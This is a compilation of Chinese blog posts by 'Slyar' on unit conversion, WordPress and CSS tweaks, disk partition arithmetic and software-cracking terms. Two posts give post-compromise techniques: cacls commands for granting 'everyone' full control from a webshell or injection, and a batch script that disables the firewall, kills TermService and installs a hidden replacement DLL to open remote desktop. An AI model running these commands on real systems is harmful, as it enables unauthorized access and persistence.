文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
突然发现很多人都有一个误区,认为"MB/s" 和"Mb/s"是一样的,但事实上它们是完全不一样的。。。
我曾经写过《带宽速率的误解》一文,与此文结合起来看可能效果会更好。
首先我们要知道,"MB"中"B"代表Byte(字节),"Mb"中的"b"代表bit(比特或位),所以它们是不一样的。下面我们再来看一下单位转换。
1 MB = 1024 KB
1 KB = 1024 Byte
1 Mb = 1024 Kb
1 Kb = 1024 bit
1 MB = 8Mb
1 Byte = 8 bit
MB/s的含义是兆字节每秒,Mb/s的含义是兆比特每秒。Byte是字节数。
MB/s是指每秒传输的字节数量,Mb/s是指每秒传输的比特位数。bit是比特/位数。
在此Slyar提醒大家,在书写单位时一定 要注意字母"B"的大小写,如果写错,真是差之毫厘,谬以千里。。。
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
刚好需要这个,研究了一下,把结果做个记录。
WP默认的XFN不允许自己添加关系,解决方法如下:
打开WP-admin目录下的edit-link-form.php
搜索以下内容,在192行左右
<table cellpadding="3" cellspacing="5" class="form-table">
后面补上以下代码保存后上传就可以了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <tr>
<th scope="row"> <?php _e('external') ?> </th>
<td>
<label for="external">
<input class="valinp" type="checkbox" name="external" value="external" id="external" <?php xfn_check('external', 'external'); ?> />
<?php _e('external') ?></label>
</td>
</tr>
<tr>
<th scope="row"> <?php _e('following') ?> </th>
<td>
<label for="follow">
<input class="valinp" type="checkbox" name="follow" value="nofollow" id="nofollow" <?php xfn_check('follow', 'nofollow'); ?> />
<?php _e('nofollow') ?></label>
</td>
</tr> |
此功能我已写成插件,详情请见《WordPress插件:给链接XFN关系增加一个nofollow标签》
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
在自定义CSS文件里,加入下面一句就好了
#slyar div.cnt:first-letter {font-size:2.5em; float:left; padding:0 2px 0 0; line-height:1em; font-weight:bold; color:#0000ff;}
紧跟时尚,改用em做单位。。。
字体大小修改font-size
字体颜色修改color
用法:在段落前加 <p id="slyar"> 就好。
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
哎,我还是不得不把这个玩意放上来,总是上网查太累了,而且网上查的还净是FAT32格式的硬盘整数分区,遇到NTFS就不管用了,我无语。。。
关于这个分区,硬盘厂商设计的是1GB=1000Mb,而操作系统却认为1Gb=1024Mb,而这个整数分区的公式既不是按照硬盘厂商的设计也不是操作系统的设计,而是另有误差。原因就是硬盘在分区和格式化之后还会在硬盘上占用一定的空间用来存储磁盘结构和数据位置等信息。
对于FAT32格式:
应分配MB数=(分区GB数-1)×4+1024×分区GB数
也就是说,如果你要在FAT32格式的硬盘上分出一个10 GB的硬盘,那么:
你应该分配的MB数=(10-1)×4+1024×10=10276 MB
这样你就可以得到整数的10 GB分区了。
对于NTFS格式:
硬盘一般有255磁头,63扇区,故每柱面大小为:
512byte x 255 x 63=8225280bytes =7.84423828125 MB
如果要分10 GB,那么要10x1024 MB=10240 MB
需要柱面数为10240÷7.84423828125=1305.416744475568004979769685652
取整数既为1306个柱面
应分MB数为1306x7.84423828125=10244.5751953125 MB
不管小数点后面几位都进1,也就是10245 MB,系统也就认为是10.00 GB了。
总结:这么算实在是太麻烦了,要是每次这么算一下我会崩溃的。。。搬出VB写了个无聊的计算器(老不写了,全忘了)。。。再附张表,方便5的倍数查找,就不用开计算器了。
需要整数分区计算器的朋友请到下载基地下载Slyar_DiskInt.exe
附表在下面,打开全文查看。
阅读全文...
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
Cacls可以显示或修改任意访问控制列表 (DACL) 文件。
前几天在L.S.T的群里,有人问到这个问题,在Webshell或者注入的时候执行Cacls命令会提示“是否确定(Y/N)?”,因为我们无法输入“Y”来确认,所以我们就无法成功执行Cacls命令。记得以前有个方法是执行“echo Y|cacls C:\slyar\ /g everyone:F”这样的命令,运用管道来使得Cacls无需确认执行,但是今天试验后发现本地可以成功,而在Webshell里还是不成功。。。
在查看Cacls帮助后经过研究得出的结论是:
Cacls只加参数/G后执行会提示“是否确定(Y/N)?”, 因为我们在Webshell或者注入的时候里不能键入“Y”,因此不能成功执行。
Cacls加入参数 /E /G后不会出现提示而直接执行。所以我们直接执行带 /E /G 参数的Cacls命令就可以不经确认直接执行了。
但是这里有一个特殊情况:参数 /E 的作用是“编辑 ACL 而不替换”,而如果目标目录里已经包含了“everyone:R”的权限设置的话,那么执行命令后仍然是“everyone: R”。。。对于这种情况,我们首先要用 /D 参数把要赋权的用户拒绝访问目标目录,然后再进行赋权。
那么我们需要执行的命令依次是:
cacls C:\slyar\ /E /D everyone
cacls C:\slyar\ /E /G everyone:F
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。

今天不是看Beijing 2008 Olympic Games开幕式么,然后各个国家的队员入场,这个入场顺序是按照汉字的笔画来排的,我起先以为“美国”的“美”字是8画,然后就等啊等啊。。。结果等到9画美国还没有出来,我就继续等啊等啊。。。结果美国在9画的途中给出来了。。。看完美国出场我就跑去查字典了,原来"美国"的“美”真的是9画!!!
“美”字上面是个羊,下面是个大。。。
"美"字的笔画顺序是:点,撇,横,横,竖,横,横,撇,捺,共9画。
哎,真丢人。。。
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
呵呵,这个也是几年前经常用的东西了,看以前的博客找到的,觉得以后可能还有用,特地找出来改了改,又到XPSP3上测试了一下,能用,现在发上来。
Slyar去掉了一些隐藏的功能,因为用不着了,哈哈~~本来说做成EXE的补丁,结果出去上了个厕所打消了这个念头。。。
需要的到下载基地下载slyar_3389.rar,解压后一个文件夹里面有2个文件:slyartermsrv.dll、slyar3389.bat。
恩,还是CMD下吧,先用tasklist /svc命令得到TermService的PID,然后编辑一下文件夹里的slyar3389.bat,把"pid"里的PID改成你得到的数字,保存退出。
行了,剩下的工作就是双击一下slyar3389.bat,完成了,mstsc连接验证一下就OK。
是不是写得有点少?那多写点。。。
原理:其实很简单了,2082以后的termsrv.dll不支持多人终端,我用2055的termsrv.dll覆盖原来的termsrv.dll就可以了。
那个bat也没啥,贴出来看看。
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\slyartermsrv.dll /f
@copy slyartermsrv.dll c:\windows\system32\dllcache\slyartermsrv.dll
@attrib +h +s +r c:\windows\system32\dllcache\slyartermsrv.dll
@copy slyartermsrv.dll c:\windows\system32\slyartermsrv.dll
@attrib +h +s +r c:\windows\system32\slyartermsrv.dll
@shutdown -a
@net start termservice
稍微解释几个命令好了。
net stop sharedaccess
禁用XP的防火墙。
shutdown -a
因为svchost被干掉,所以会导致重启,这个命令可以终止重启。
ntsd -c q -p "pid"
系统debug级的ntsd,用来干掉进程特别爽。
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
恩,貌似很多人分不清楚这几个概念:注册码、注册机、破解补丁、破解版。
昨天有人找Slyar要XX软件的注册码,Slyar随手扔给他一个破解补丁,过了一会他问我:注册码在哪?。。。
有介于此,为了节省我宝贵的口水,我决定今天的日志就区分这个。。。
1、注册码。
这个还是比较简单的,别人提供注册码,直接输入就可以了。这种软件的注册原理不是很高明,只是在软件内部写了一段无关的程序来验证注册码。当然,这些注册码也可以通过注册机算出来,只是没有唯一性罢了,像XP的序列号。。。
2、注册机。
这个就比较高级了,需要用到注册机的软件注册原理大都是跟本机的机器码挂钩的,机器码是根据你的电脑硬件信息而产生一个串号,基本上每台电脑都不一样,这就导致了注册码的唯一性,也就是说你的电脑上算出的注册码到我这里就不能用了,那么注册机就是帮助你得到唯一注册码的工具。注册机的使用也很简单,一般是输入注册名称(或机器码),然后点击生成,就得到了注册码。

3、破解补丁。
首先,使用破解补丁一定不需要注册码。简单来说,破解补丁需要修改原程序,一般是将原程序的注册码验证过程跳过而直接到达注册成功的部分(这个需要了解汇编才好,我就不多说了)。总而言之,破解补丁无非下列几种:双击某个reg文件自动注册、复制某个EXE文件到软件安装目录覆盖原来的EXE文件、运行破解补丁然后patch让破解工具自行破解。

4、破解版。
破解版就是经过破解补丁处理过的程序。
最新评论